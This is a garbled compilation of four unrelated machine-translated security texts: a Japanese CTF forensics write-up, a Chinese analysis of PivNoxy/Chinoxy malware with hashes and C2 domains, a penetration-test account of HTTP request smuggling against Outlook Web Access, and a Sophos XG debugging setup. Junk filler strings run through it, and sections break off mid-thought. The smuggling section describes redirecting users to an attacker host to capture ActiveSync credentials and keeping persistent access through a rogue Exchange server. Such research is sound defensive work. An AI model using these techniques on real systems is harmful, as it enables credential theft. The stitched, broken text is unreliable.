しかし、私はそれが最も処刑されている人ではないことを発見しました。その後、38、71などがさらに多くあることがわかりました。また、最大の「82」をゆっくりと検索して確認しました。それを得る;在这里插入图片描述

この時点で; flag {searchfilterhost.exe}拡張「pecmd」を使用して「プリフェッチ」を分析しました。それは解析であり、検索するメモ帳を開きます。少し面倒ではありませんか?なぜ!確かにこれよりも簡単な方法があります。次のことについて説明するツール「winprefetchview」が抽出されてダウンロードされました。次に、ここからツール「winprefetchview」を開きます。在这里插入图片描述次に、「オプション」をクリックし、「[詳細なオプション」を選択し、[プリフェッチ]位置を変更し、最後に[確認]をクリックします。得る;在这里插入图片描述

実行数を簡単な順序で直接並べ替えて、この方法は実際に最初の方法よりもはるかに便利であり、見るのがより直感的で明確であることを知ることができます。

4。失われた情報

在这里插入图片描述

質問バラバラには多くの有用な質問があります。要約しましょう。簡単に言えば、顧客の携帯電話番号を取り出して、小文字MD5暗号化のために提出しましょう。次に、添付ファイルをダウンロードして、2つのファイルを取得します。在这里插入图片描述

「ディスク」ファイルと「.raw」ファイルとは何かの簡単な分析。 「ディスク」ファイルとは何ですか? 「ディスク」ファイルは通常、ストレージデバイスのミラーファイルを指します。これは、ハードディスク、パーティション、またはその他のストレージメディアの正確なコピーです。このファイルには、ファイルシステム、パーティションテーブル、ブートレコード、ディスクに保存されているすべてのファイルとフォルダーなど、ディスク上のすべてのデータが含まれています。目的:バックアップ、クローニングディスク、またはデータリカバリに一般的に使用されます。また、ディスクに保存されているデータを分析および再構築するためにディスクイメージを使用して、法的分析にも使用されます。形式:ディスクファイルは、img、iso、vmdk(仮想ディスクファイル)などのさまざまな形式で存在する場合があります。「.raw」ファイルとは何ですか?RAWファイルは通常、生ディスクイメージを指します。これは、ディスク上のすべての生データを含む非圧縮ミラー形式で、ディスクまたはパーティションバイトバイト全体を複製します。機能:非圧縮:RAWファイルには圧縮または変更されたデータが含まれておらず、最も元のディスク画像形式です。普遍性:シンプルで普遍的な形式により、RAWファイルは、さまざまなツールやオペレーティングシステムで認識および使用できます。目的:デジタルフォレンジック、データ回復、仮想化環境で広く使用されています。RAWファイルの分析は、削除されたファイルの回復、ファイルシステム構造の分析、その他の低レベルのデータ操作を実行するのに役立ちます。概要ディスクファイル:通常、ストレージデバイス全体のコピーであるディスクイメージファイルを指します。RAWファイル:ディスク上の生データを含む非圧縮ディスクイメージ形式であり、フォレンジック分析とデータの回復によく使用されます。繰り返しになりますが、それがどんな文書であるかを知っているので、それらをどのように分析しますか?もちろん、ディスクイメージファイル(「ディスク」ファイルまたは「.raw」ファイル)を分析する場合、以下は一般的に使用されるツールです。ボラティリティ2.6:目的:ボラティリティはメモリフォレンジック分析ツールです。主にメモリダンプ分析に使用されますが、ディスク画像のデータを分析するためにも使用できます。ディスクミラーリングと協力することにより、ボラティリティは、プロセス、ネットワーク接続、レジストリエントリなどのメモリ関連データを抽出および分析できます。機能:強力な機能は、詳細な分析と証拠のフォレンジック作業に適した複数のオペレーティングシステムのメモリ分析をサポートします。 Elcomsoft Forensic Disk Decryptor:目的:Elcomsoft Forensic Disk Decryptorは、暗号化されたディスクイメージファイルを解読するために特別に使用されます。 BitLocker、TrueCrypt、Veracrypt、およびその他の暗号化システムをサポートし、これらのミラーファイルからデータを抽出および分析するのに役立ちます。機能:暗号化されたディスクイメージに遭遇したときに使用するのに特に適した強力な復号化機能。

一般に、ボラティリティ2.6:はメモリフォレンジック分析に使用され、ディスク画像と組み合わせて高度なデータ抽出にも使用できます。 Elcomsoft Forensic Disk Decryptor:特別に使用

最近,南亞的一家電信機構收到一封帶有可疑RTF 附件的簡短電子郵件,這引起了FortiGuard Labs 的注意。這封電子郵件偽裝成來自巴基斯坦政府部門的信息,目的是傳播PivNoxy 惡意軟件。

马云惹不起马云 受影響的平台:Windows

马云惹不起马云受影響方:Windows 用戶

马云惹不起马云影響:控制受害者的設備並收集敏感信息

马云惹不起马云嚴重性級別:中等

攻擊概述攻擊始於一封簡單的電子郵件,其中只附上了一份文件作為附件:

fig1.webp.jpg

攻擊中使用的魚叉式釣魚電子郵件

附件文件為RTF格式。它是使用一種名為Royal Road 的工俱生成的,這是一種網絡釣魚“武器”,被多個亞洲APT 攻擊組織使用。 Royal Road 也稱為8.t RTF 漏洞利用構建器,允許APT 組織創建帶有嵌入式對象的RTF 文件,這些對象可以利用Microsoft Word 中的漏洞來感染目標。 Royal Road 支持的一些已知漏洞包括:

马云惹不起马云CVE-2017-11882(Microsoft Office 內存損壞漏洞);

马云惹不起马云CVE-2018-0802(Microsoft Office 內存損壞漏洞);

马云惹不起马云CVE-2018-0798(Microsoft Office 內存損壞漏洞);

打開電子郵件附件“Please help to CHECK.doc”,會打開一個誘餌Word 文件。同時,它在後台利用CVE-2018-0798。 CVE-2018-0798 是Microsoft 公式編輯器(EQNEDT32) 中的一個遠程代碼執行(RCE) 漏洞。 Microsoft 於2018 年1 月9 日為其發布了修復程序。攻擊者仍在針對此漏洞的事實表明,並非所有組織都部署了關鍵補丁或升級到最新軟件。事實是,舊的漏洞仍然普遍且成功地被利用。

fig2.webp.jpg

攻擊中使用的誘餌Word 文件。請注意,文件中顯示的亂碼可能是我們的測試設備不支持該語言的結果

執行後,這個惡意文件會釋放三個文件:

C:\\ProgramData\Cannon\Cannondriver.exe;

C:\\ProgramData\Cannon\LBTServ.dll;

C:\\ProgramData\Cannon\Microsoft.BT;

儘管文件名是假的,但Cannondriver.exe是一個合法的羅技文件LBTWizGi.exe,全稱是“羅技藍牙嚮導主機進程”。 Cannondriver.exe 甚至由頒發給羅技的證書進行數字簽名的。

fig3.webp.jpg

Cannondriver.exe 的合法版本

另一方面,LBTServ.dll 文件沒有經過數字簽名。這就是有趣的地方。 “Cannondriver.exe”容易受到LBTServ.dll 所利用的DLL 搜索順序劫持攻擊。請注意,此攻擊中使用的“LBTServ.dll”樣本的編譯時間為Sun July 18 02:04:24 2021 GMT。這意味著這個小組在他們需要使用這個變體之前就創造了它。這表明,他們要么在近一年前就準備好攻擊目標,要么已經開始囤積惡意軟件,隨時準備發動攻擊。最近的Chinoxy 樣本一直沒有被發現,就是這個道理。

fig4.webp.jpg

Cannondriver.exe 中的DLL 搜索順序劫持

上圖是在Cannondriver.exe中找到的部分代碼。基本上,它調用名為LGBT_Launch的導出,該導出位於LBTServ.dll 中。

fig5.webp.jpg

LBTServ.dll 內部

在Cannondriver.exe 加載偽造的LBTServ.dll 並調用LGBT_Launch 函數後,惡意函數就加載了另一個被釋放的文件Microsoft.BT ,並繼續對其進行解密。攻擊鏈類似於Chinoxy 後門使用的攻擊鏈,後者也使用Cannondriver.exe 加載惡意LBTServ.dll 以傳遞其有效負載。

然而,目前發送給南亞電信機構的這種變體提供的最終有效負載與其之前的版本略有不同。它不是包含最終有效負載的LBTServ.dll,而是從單獨的文件加載shellcode 並將自身注入到svchost.exe 中。然後它聯繫instructor[.]giize[.]com,這是一個動態DNS,將連接重定向到攻擊者託管有效負載的IP。不幸的是,在調查時沒有遠程文件可用。幸運的是,nao_sec 的一條推文將PoisonIvy 惡意軟件識別為有效負載。

fig6.webp.jpg

nao_sec 於2022 年5 月12 日發布的推文

PoisonIvy 是一種遠程訪問木馬(RAT),早在十多年前就被發現。 RAT 也稱為Pivy,活躍在地下論壇中,允許攻擊者控制受感染的設備並通過其GUI 執行偵察活動。

FortiGuard Labs 之前發布了兩篇博客,詳細介紹了PoisonIvy 的工作原理:

Poison Ivy 新變種的深度分析;

新Poison Ivy/PlugX 變體的深度分析;

這些博客中介紹的PoisonIvy RAT 變體執行橫向移動。因此,PoisonIvy 的一次感染可能會導致信息從受影響組織中的各種設備中提取。

誰是幕後黑手眾所周知PoisonIvy 已被用於針對性攻擊,但要識別針對南亞電信組織的行動背後的攻擊者並非易事。這是由於報告的使用RAT 的攻擊組織的數量及其廣泛的可用性造成的。

我們對攻擊者的好奇導致了另一個lbtserver.dll (SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3),該文件於2022年1月從法國提交給VirusTotal。該文件被SHA2文件cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe釋放。

研究人員的分析表明,該文件的行為與發送給目標機構的電子郵件中的文件類似。它創建一個文件夾(c:\windows\tasks) ,並將配置和PE 文件放入其中。釋放的可執行文件unio.exe 與偽裝成Cannondriver.exe 的合法簽名Logitech 文件相同。 在我們正在調查的攻擊中,union .exe加載了另一個被釋放的文件lbtserver .dll。在本文所述的樣本中,LBTServ.dll 包含完整的後門有效負載,而不是加載一個shellcode來下載它。這個LBTServ.dll 文件還利用了DLL搜索順序劫持,有8 個虛假導出,還有一個名為LGBT_Launch 的惡意導出。這使研究人員相信,這兩種攻擊最有可能來自攻擊組織,但根據向VirusTotal提交文件的日期,這兩種攻擊可能發生在2022年1月。

更有趣的是,719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3的編譯時間是“2016-07-09 12:49:34 UTC”,而其滴管(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe)的編譯時間大約是29秒後,時間是2016-07-09 13:18:11 UTC。這些數據表明,該攻擊組織至少自2016年年中以來一直很活躍。

PivNoxy 和Chinoxy的漸變史現在,讓我們將看看這個攻擊組織使用的技術的漸變史。具體來說,我們將重點介紹他們使用的一個文件,即羅技藍牙嚮導主機進程。這個合法簽名的文件包含一個DLL 搜索順序劫持漏洞。 APT 組織通過創建自己的惡意“LBTServ.dll”文件來利用此漏洞,以便在執行真正的羅技進程時加載。隨著時間的推移,這個惡意DLL已經演變成使用不同的技術。攻擊鏈通常以包含附件的電子郵件開始。附件本身包含一個可執行文件,執行時會釋放惡意DLL、合法的羅技可執行文件以及惡意軟件使用的任何相關文件。

下面是攻擊組織使用上述技術來傳遞Chinoxy、PivNoxy 和最近的Chinoxy 變體的dropper 惡意軟件的時間線。

fig7.webp.jpg

基於文件編譯時間的dropper 惡意軟件示例

從時間軸上可以看到,在2021年第三季度,攻擊者將他們的武器庫從PivNoxy 切換到了Chinoxy 的新變體,該變體從文件中解密和加載shellcode ,並下載下一個有效負載。 Chinoxy到PivNoxy的轉換發生在2020年第二季度的某個時候。

FortiGuard Labs 發現,從2016 年年中到2018 年底,“lbtserver .dll”一直被稱為Chinoxy的變體。在這種情境中,惡意DLL 會加載一個名為“k1.ini”的外部配置文件。

fig8.webp.jpg

Chinoxy使用的配置文件

這個配置文件通常包含一個base64 字符串,它原來是Chinoxy 使用的C2 服務器。

9.png

從Chinoxy配置文件解碼的Base64值

“備註”字段包含攻擊的大致日期。根據其源數據,這個Chinoxy DLL 樣本(SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3) 編譯於格林威治標準時間2016 年7 月9 日星期六12:49:34。主要的dropper (SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe) 本身是在2016-07-09 13:18:11 GMT 編譯的。存活時間似乎只有幾天。 Chinoxy作為一個後門從被感染的電腦中收集數據。有趣的是,同一個C2 服務器已經使用了兩年多。分析表明,該服務器的絕大多數流量來自印度。

直到該組織決定返回前的2020 年底和2021 年初,情況一直相對平靜。該組織回歸後,首先開始瞄準東南亞的遊戲玩家。 NoxPlayer 是一個Android 模擬器,與許多程序一樣,它會聯繫服務器以檢查更新。然而,APT 組織並沒有通過電子郵件附件傳遞他們的惡意軟件,而是改變了攻擊策略,並以某種方式破壞了NoxPlayer 的更新鏈。向東南亞遊戲玩家發送了一個虛假的更新包。

與Chinoxy 示例類似,此PivNoxy 變體(SHA2:5c2a6b11d876c5bad520ff9e79be44dfbb05ee6a6ff300e8427deab35085bef6)使用一個偽造的更新包來解壓多個文件,包括濫用針對羅技的相同DLL 搜索順序劫持技術的文件。然而,在本示例中,“LBTServ.dll”被用來傳遞比之前的迭代更強大的惡意軟件,PivNoxy 通過惡意DLL 傳遞PoisonIvy RAT。雖然其他供應商報告受感染的計算機是來自東南亞的遊戲玩家,但研究人員的分析表明,更多受感染的遊戲玩家來自墨西哥。

此時,該攻擊組織再次決定隱身。一直到2022 年5 月,該組織偽裝成來自巴基斯坦政府部門,向南亞的一個電信組織的發送魚叉式網絡釣魚電子郵件。而這一次,它試圖傳播一個新的Chinoxy 惡意軟件變種。

上面提到的dropper 惡意軟件(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748bea5e03e76902e7fe) 已向goog1eupdate[.]com 發起了攻擊。根據FortiGuard過去六個月收集的追踪數據,近70%的攻擊來自墨西哥,近22%來自印度。 Chinoxy變體在2016年至2018年期間也使用了該域名。

研究人員還發現了三個類似的樣本連接到frontbeauty[.]dynamic-dns[.]net、beautygirl[.]dynamic-dns[.]net 和784kjsuj[.]dynamic-dns[.]net。在過去的六個月裡,對這三個域的所有訪問都來自印度。由於它們是動態DNS,因此並非所有連接都可以視為與攻擊組織有關。然而,2020 年11 月發布的Bitdefender 報告將域“goog1eupdate[.]com”描述為APT 組織的IOC 的一部分,該組織使用FunnyDream 後門作為其工具集的一部分,主要針對東南亞。訪問另一個C2 地址“mfaupdate[.]com”主要來自墨西哥和印度,而“ru[.]mst[.]dns-cloud[.]net”主要來自以色列和烏克蘭。根據安全研究員Sebastien Larinier 的說法,ru[.]mst[.]dns-cloud[.]net 被吉爾吉斯斯坦的攻擊組織使用。此外,NTT Security 發布的一篇研究報告介紹了另一台C2 服務器“eofficeupdating[.]com”,攻擊者將其用作Smanager 惡意軟件的C2 服務器,該惡意軟件用於主要攻擊越南。

總結針對南亞一家電信機構的攻擊始於一封簡單的電子郵件,該電子郵件最初似乎是標準的惡意垃圾郵件。但是,附加的Word 文件是含有Royal Road 惡意負載,可對公式編輯器漏洞(CVE-2018-0798) 利用。雖然在調查時沒有有效負載,但OSINT 研究向了FortiGuard Labs 之前強調的Poison Ivy RAT。

根據我們的分析,亞洲組織以及可能在墨西哥的一些組織是攻擊組織的目標,我們認為該攻擊組織也參與了2021 年的NightScout 行動。這個使用Chinoxy和PivNoxy的組織至少從2016年年中開始活躍。

blog-header-845x321.png

利用面向公眾的服務是在網絡中獲得初步立足點的方法之一,這種情況在野外會經常看到。眾所周知,各種攻擊者都會濫用諸如緩衝區溢出(G0098)、SQL注入(G0087)或其他已知帶有功能利用代碼(G0016)的漏洞。

本文描述了一個HTTP請求走私(HRS)漏洞,這是我們在一次滲透測試中發現的。它可以用來模擬利用面向公眾的服務,同時在客戶的網絡中獲得初步立足點。在這個示例中,它允許我們獲取Active Directory憑據,從而用該憑據登錄到Outlook Web Access (OWA)查看敏感數據。

本文還會介紹如何通過將客戶端遷移到一個中間人Exchange服務器來獲得對OWA的持久訪問權。

HTTP請求走私HTTP請求走私(HRS)漏洞現在非常普遍。早在2005年,CGISecurity就發布了一份白皮書,詳細描述了漏洞是如何產生的,它會造成什麼後果,以及如何緩解它。如果你不確定HRS是如何工作的,我強烈建議你閱讀這篇白皮書或PortSwigger關於HRS的文章來熟悉一下。當網絡服務器和代理可以不同步時,就會出現HRS。攻擊者發送的請求在前端服務器和後端服務器上的解釋不同。例如,攻擊者發送一個特殊的請求,前端服務器將其解釋為1個請求,但後端服務器將其解釋為2個請求。第二個請求因此被“走私”通過前端服務器並最終到達後端服務器。正如PortSwigger 的James Kettle 所描述的,該請求的響應將被提供給下一位訪問者。

濫用HRS會極大地影響系統的保密性、完整性和可用性。正如一份負責任的披露中所公佈的,Evan Custodio 能夠通過濫用HRS 竊取cookie 來接管Slack 帳戶。其他示例包括New Relic上的憑據盜竊和美國國防部基礎設施上的用戶重定向。

在我們的例子中,HRS允許我們獲取Active Directory憑據,這將在下面的攻擊敘述中描述。這種攻擊敘述包含了從起初到最後的整個路徑。

識別代理基礎設施在一次滲透測試中,我們的目標是通過滲透客戶的數字基礎設施獲得初步立足點。由於自動掃描無法產生結果,我們很快進行了手動測試。包括Outlook Web Access (OWA) 在內的各種服務在使用GoBuster 工具對子域進行暴力破解時被識別。使用中的詞表由@bitquark 生成,包含100000 個最常用的子域。

1.png

在檢查這些服務時,我們發現我們正在與代理進行通信。有幾種方法可以檢測服務是否在代理之後運行。 Web 應用程序的一種常用技術是向應用程序發送以下請求,該請求的第一行包含另一個URI。

要求:

2.png

一般的web服務器會生成一個“421 Misdirected Request”響應。下麵包括一個示例。

響應:

3.png

然而,當我們在owa.customer.com上運行此操作時,服務器返回了以下響應,即302 Moved Temporarily。那時,我個人認為這種重定向是HTTP代理的典型行為。但是,後來我意識到它應該是帶有實際響應正文的200 OK 或203 Non-Authoritative Information,如RFC7230中所述。

響應:

4.png

但是,確實表明正在使用代理的是Server 標頭,其中server1 作為值。這是Microsoft IIS 服務器的非默認值。默認情況下,該值為Microsoft-IIS/8.5(或其他版本)。這表明,最有可能的是,代理更改了響應。

現在我們有了owa.customer.com被代理的跡象,我們可以繼續檢查它是否容易受到HRS的攻擊。

識別易受攻擊的代理設置考慮到James Kettle 的研究,我們著手調查這種設置是否可能容易受到HRS 的影響。為了確定owa.customer.com 是否容易受到HRS 的攻擊,我們發送了以下請求。

5.png

此請求的Content-Length 為124,即整個正文。它將被發佈到代理,代理將使用它來確定正文的長度為124 字節。然後將該請求轉發到實際的OWA 服務。

如果此設置易受HRS 攻擊,OWA 會以不同方式處理請求(使用分塊編碼而不是使用內容長度)。分塊編碼允許客戶端在正文中發送數據塊。在這種情況下,有一大塊數據。這是從十六進制數44開始的,如果轉換成十進制,就是68。這是塊的長度,可以在下一行中看到。在這68個字符之後,請求以一個大小為0的塊終止。這是OWA 接受的正常請求。

但是,終止後的部分未處理。 OWA 服務會將其視為代理(可能來自另一個用戶)發送的下一個請求的一部分。

這也適用於其他方式(如果代理使用分塊編碼而OWA 使用內容長度)。基礎設施易受HRS 攻擊的方式有多種。所有這些方式都在PortSwigger 的博客中進行了描述。實際上,我們使用的真正技巧是在傳輸編碼標頭之前插入了一個空格,Transfer-Encoding: chunked。雖然代理無法解析它並使用Content-Length 來確定正文長度。但是,OWA 能夠解析它並使用Transfer-Encoding 標頭來確定正文長度。

當我們執行上面的請求時,我們得到了來自服務器的以下響應。

6.png

可以看出,響應狀態為200 OK,表示我們的請求有效,服務器返回了有效響應。起初,我認為這意味著它沒有解釋我們正文的第二部分,因為它會產生一個400 Bad Request 響應狀態。我認為代理/OWA 設置很可能很容易受到攻擊。然而,經過進一步的研究,事實證明OWA 接受任何任意POST 數據。

更確定的驗證方法是在請求正文的第二部分檢查其他用戶是否收到了對我們請求的響應。由於我們正文第二部分中的請求通常返回301 Moved Permanently,因此現在應該將另一個用戶重定向到hacker.com 域,因為該用戶將重定向作為對他們請求的響應。為了驗證這一點,我們檢查了hacker.com的訪問日誌。它的重要部分已包含在下面。

7.png

事實上,事實證明它很脆弱!其中一位用戶被重定向到我們的hacker.com 域,這表明HRS 請求已成功執行。

查看訪問日誌,我認為發生了一些有趣的事情。在我看來,受害者實際上應該向hacker.com 的根或/owa 端點發出GET 請求,而不是向Microsoft-Server-ActiveSync 端點發出OPTIONS 請求,因為它被重定向了。但是,在查看RFC7231之後,很明顯接收到301 Moved Permanently 的客戶端可以為後續請求維護其請求方法和正文,就像308 Permanent Redirect 一樣,其中客戶端需要維護請求方法和主體。

總而言之,這意味著有可能從用戶那裡獲取更多信息,我們將在接下來的章節中介紹這些信息。

從hacker.com 的訪問日誌中可以看出,受害者試圖使用Microsoft-Server-ActiveSync 執行同步操作。 ActiveSync是一種HTTP 協議,它使用戶能夠從Exchange 服務器下載郵件,而不是使用僅使用戶能夠在Web 客戶端中查看郵件的OWA。

8.png

可以在各種郵件客戶端中配置ActiveSync,例如Apple Mail。正如Apple 連接到ActiveSync 端點的手冊中所見,用戶必須提供服務器、域、用戶名和密碼。這些詳細信息很可能會通過HTTP 請求發送到服務器。在配置期間或在每個請求中。

將憑據發送到服務器的時間實際上取決於在Exchange中配置的身份驗證類型。常見的身份驗證類型是“現代身份驗證”,它使用SAML協議,因此在使用用戶名和密碼進行初始身份驗證之後生成身份驗證令牌。身份驗證類型“基本身份驗證”是通過在每個HTTP請求中發送用戶名和密碼(base64編碼)進行身份驗證的一種方法。

如果Exchange 服務器配置為使用帶有基本身份驗證的ActiveSync,則用戶將在每個HTTP 請求中發送用戶名和密碼。由於我們能夠執行HRS,也許能夠截獲這些憑據!

盜取並使用憑據目前我們知道,一個成功的HRS攻擊可以將受害者重定向到一個惡意服務器,郵件客戶端維護請求方法,並且很可能還維護標頭和正文,並且我們還知道受害者在每個ActiveSync請求中發送base64編碼的憑據。這意味著我們馬上就要獲得這些證書了。

可以通過多種方式捕獲非法服務器上的請求標頭。為了進行概念驗證,我選擇使用Burp Collaborator,它充當HTTP和各種其他協議的所有捕獲服務器。

我更改了最初的HRS 請求,將受害者重定向到我的Burp Collaborator URI 而不是hacker.com。最後的請求包括在下面。

9.png

幾分鐘後,正如預期的那樣,Burp Collaborator捕獲了來自受害者的ActiveSync請求。

10.png

我們已經成功捕獲了包含受害者編碼憑據的授權標頭。

11.png

HRS攻擊如下圖所示。

12.png

將受害者的郵箱永久遷移到我們的非法交易服務器上

未記錄的功能作為滲透測試人員,我們想更深入地研究這一發現可能產生的影響。出於這個原因,我們從攻擊者的角度尋找進一步的選擇,其中最值得注意的是獲得對受害者憑據的永久訪問權限。事實證明,ActiveSync有一個功能,可以在用戶的郵箱從辦公場所遷移到Office365時自動更新郵件客戶端的配置。此功能的工作原理如下:

马云惹不起马云 客戶端嘗試通過HTTP ActiveSync 協議檢索郵件;

马云惹不起马云Exchange 會檢查用戶的郵箱是否存在或者是否遷移到Office365;

马云惹不起马云DC 返回未找到郵箱(這意味著已遷移);

马云惹不起马云Exchange 嘗試獲取域的TargetOWAURL(郵箱所在的位置);

马云惹不起马云DC 返回TargetOWAURL(在本例中為outlook.office365.com);

马云惹不起马云Exchange 使用一個HTTP 451重定向到TargetOWAURL來響應客戶端;

马云惹不起马云客戶端將TargetOWAURL 用於所有未來的請求;

马云惹不起马云對TargetOWAURL 的HTTP ActiveSync 請求成功。

13.png

總而言之,如果Exchange服務器以451 Unavailable For Legal Reasons和X-MS-Location標頭相結合的方式響應,則受害者Exchange服務器配置會相應更新。下文包括此類響應的示例。

14.png

但是,使用我們的HRS 攻擊無法為受害者生成451 Unavailable For Legal Causes。只能生成301 Moved Permanently,因為這是將URI 添加到GET 請求的第一行時的響應。但是,我們可以使用301 Moved Permanently 將受害者重定向到非法服務器,該服務器隨後以451 Unavailable For Legal Reasons 響應非法交換服務器。如果我們確保非法交換服務器只是合法環境的代理,我們可以永久地在所有受害者的ActiveSync 請求中間人,而受害者不會注意到任何事情。攻擊過程如下。

15.png

將受害者的郵箱遷移到我們的非法交易所為了證明上述理論有效,我們將“受害者”(tgad.local\bob)連接到我們的演示環境;代理tgvmex01.proxy 後面的Exchange 服務器。 Bob 使用ActiveSync 連接。他的iOS Exchange 配置如下所示。

16.png

想要將Bob的郵箱遷移到非法交換服務器的攻擊者需要首先執行HRS攻擊,將Bob的ActiveSync請求重定向到非法服務器。下面提供了一個示例。

17.png

無論請求是什麼,服務器rogue-server.com 始終提供相同的響應。此響應包含在下面,並且響應標頭中的非法交換服務器具有451 Unavailable For Legal Reasons 狀態。

18.png

當Bob 成為HRS 攻擊的受害者時,他將收到非法服務器的451 Unavailable For Legal Reasons 響應。 Bob 的電子郵件客戶端會將服務器地址更改為rogue-exchange.remote,因為響應表明郵箱遷移到了這個Exchange 服務器。

最初的幾次嘗試都沒有成功。但是在連續嘗試了幾次之後,HRS攻擊最終觸發了Bob的同步請求,導致Bob的郵件客戶端將配置更改為非法交換。這可以在下面的Bob的Exchange設置中看到。

19.png

由於惡意交換器將所有請求代理給合法交換器,Bob不會注意到惡意配置更改(除非他查看自己的exchange設置)。作為一個攻擊者,我們現在能夠攔截他的所有ActiveSync請求,即使在Bob更改了他的憑據之後。

緩解措施存在多種針對HRS 漏洞的緩解措施。在理想情況下,代理服務器和後端服務器(在本例中為Exchange)都完全按照RFC7231中的說明解釋HTTP 請求。這將防止HRS 漏洞,因為兩個服務器都以相同的方式解釋HTTP 請求的邊界。

然而,我們並不是生活在一個理想的世界裡。更好的緩解措施是禁用代理和後端之間的http-reuse(一種性能優化),以便每個請求都通過單獨的網絡連接發送。此外,可以通過強制從代理到後端的HTTP/2 連接來緩解HRS,因為此版本的HTTP 協議中不會出現HRS 漏洞。

最後,我們強烈建議不要將基本身份驗證用作Exchange 的身份驗證方法。請改用現代身份驗證。使用現代身份驗證,攻擊者只能攔截oAuth令牌。

如果你認為自己是Exchange遭受HRS攻擊的受害者,請主動重置Exchange客戶端的配置和密碼。

0x00 前言Sophos UTM和Sophos XG是兩款不同的產品,前者偏向於通用威脅管理,後者偏向於硬件防火牆。本文將要介紹Sophos XG漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云環境搭建

马云惹不起马云jetty調試環境搭建

马云惹不起马云csc配置文件解密

马云惹不起马云 Postgresql數據庫查詢

0x02 基礎知識架構如下圖

image.png

注:圖片引用自https://codewhitesec.blogspot.com/2020/07/sophos-xg-tale-of-unfortunate-re.html

總的來說,分為以下三部分:

马云惹不起马云 Jetty:處理Web數據,將數據轉發至csc作進一步處理

马云惹不起马云csc:主程序:加載Perl Packages,實現主要功能

马云惹不起马云Postgresql:用來存儲數據

我在實際研究過程中,這三部分遇到了以下問題:

马云惹不起马云Jetty:添加調試信息後無法啟動java

马云惹不起马云csc:csc加載Perl Packages後會自動刪除,無法獲得Perl Packages的實現細節

马云惹不起马云Postgresql:用戶權限低,無法查詢數據庫表

下面將要逐個介紹三個問題的解決方法。

0x03 環境搭建參考資料:

https://docs.sophos.com/nsg/sophos-firewall/18.5/Help/en-us/webhelp/onlinehelp/VirtualAndSoftwareAppliancesHelp/VMware/VMwareInstall/index.html

1.下載安裝包官方網站默認只提供最新版本的下載,但是可以通過猜測正確的版本號下載舊版本

例如18.5.3 Virtual Installers: Firewall OS for VMware:

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.3_MR-3.VMW-408.zip

18.5.2 Virtual Installers: Firewall OS for VMware:

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.2_MR-2.VMW-380.zip

2.導入VMware Workstation下載得到zip文件,解壓後運行sf_virtual.ovf

3.VMware Workstation網卡配置需要添加兩個網卡VMnet7和VMnet8,VMnet7設置為Host-only和172.16.16.0,VMnet8設置為NAT,具體方法如下:

(1)VMnet7

打開VMware Workstation,依次選擇Edit-Virtual Network Editor.

Add Network.-VMnet7

VMnet7設置為:

马云惹不起马云Type: Host-only

马云惹不起马云Subnet Address: 172.16.16.0

(2)VMnet8

VMnet8設置為:

马云惹不起马云Type: NAT

4.Sophos XG網卡配置Network Adapter設置為VMnet7

Network Adapter 2設置為VMnet8

Network Adapter 3設置為VMnet8

配置如下圖:

image.png

5.啟動Sophos XG默認登錄口令:admin

6.查看IP地址依次輸入1.Newwork Configuration-1.Interface Configuration

得到LAN的ip為172.16.16.16

7.進入Web配置頁面進行激活瀏覽器訪問https://172.16.16.16:4444

註冊頁面選擇:I don't have a serial number(start a trial)

按照提示進行註冊。

註冊成功後,重新訪問https://172.16.16.16:4444進行配置。

0x04 jetty調試環境搭建1.查看Java進程相關信息

執行命令:ps ww|grep java

輸出:

image.png

從輸出中得到Java版本為java-11-openjdk

2.定位配置文件配置文件路徑為/usr/bin/jetty,內容如下:

image.png

3.添加調試參數修改文件屬性:mount -o rw,remount /

在exec所在行添加調試參數:'-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000'

4.重啟服務執行命令:service tomcat:restart -ds nosync

查看服務狀態:service -S | grep tomcat

發現tomcat狀態為STOPPED

為了獲得詳細的報錯信息,直接運行/usr/bin/jetty

輸出:

image.png

發現是JDK的問題,這裡選擇替換一個完整的JDK。

5.替換JDK下載jdk-11.0.15_linux-x64_bin.tar.gz並上傳至Sophos XG

備份原文件夾:cp -r /lib/jvm/java-11-openjdk /lib/jvm/java-11-openjdk_backup

將jdk-11.0.15_linux-x64_bin.tar.gz解壓:tar zxvf /tmp/jdk-11.0.15_linux-x64_bin.tar.gz

替換/lib/jvm/java-11-openjdk:

image.png

6.再次重啟服務執行命令:service tomcat:restart -ds nosync

查看服務狀態:service -S | grep tomcat

發現tomcat狀態為RUNNING

確認參數被修改,執行命令:ps ww|grep java

輸出:

image.png

7.修改防火牆規則執行命令:iptables -I INPUT -p tcp --dport 8000 -j ACCEPT

8.使用IDEA遠程調試如下圖

image.png

在調試過程中,如果遇到無法下斷點的情況,重啟java服務即可:service tomcat:restart -ds nosync

0x05 csc配置文件解密查看csc進程相關信息。

執行命令:ps ww|grep csc

部分輸出:

image.png

csc進程讀取/_conf/cscconf.bin作為配置文件,而/_conf/cscconf.bin是一個加密的文件,所以這裡需要對/_conf/cscconf.bin進行解密。

這裡我採用的方法是通過IDA修改程序代碼,改變實現邏輯,導出解密後的配置文件。

使用IDA加載csc,查看main()函數的實現邏輯,部分代碼:

image.png

分析以上代碼,csc先調用extract_conf()函數導出配置,最後執行系統命令rm -rf /_conf/csc/csc /_conf/csc/csc.conf /_conf/csc/cscconf//_conf/csc/constants.conf /_conf/csc/cscconf.tar.gz /_conf/csc/global.conf /_conf/csc/cfsconf /_conf/csc/service /_conf/csc/bind_file_list刪除配置文件,導致我們無法直接獲得相關配置文件。

查看extract_conf()函數的實現代碼:

image.png

分析以上代碼,csc先調用sub_8052494()函數對/_conf/csc/cscconf.tar.gz進行解密,接著執行系統命令tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc將配置文件釋放到文件夾/_conf/csc

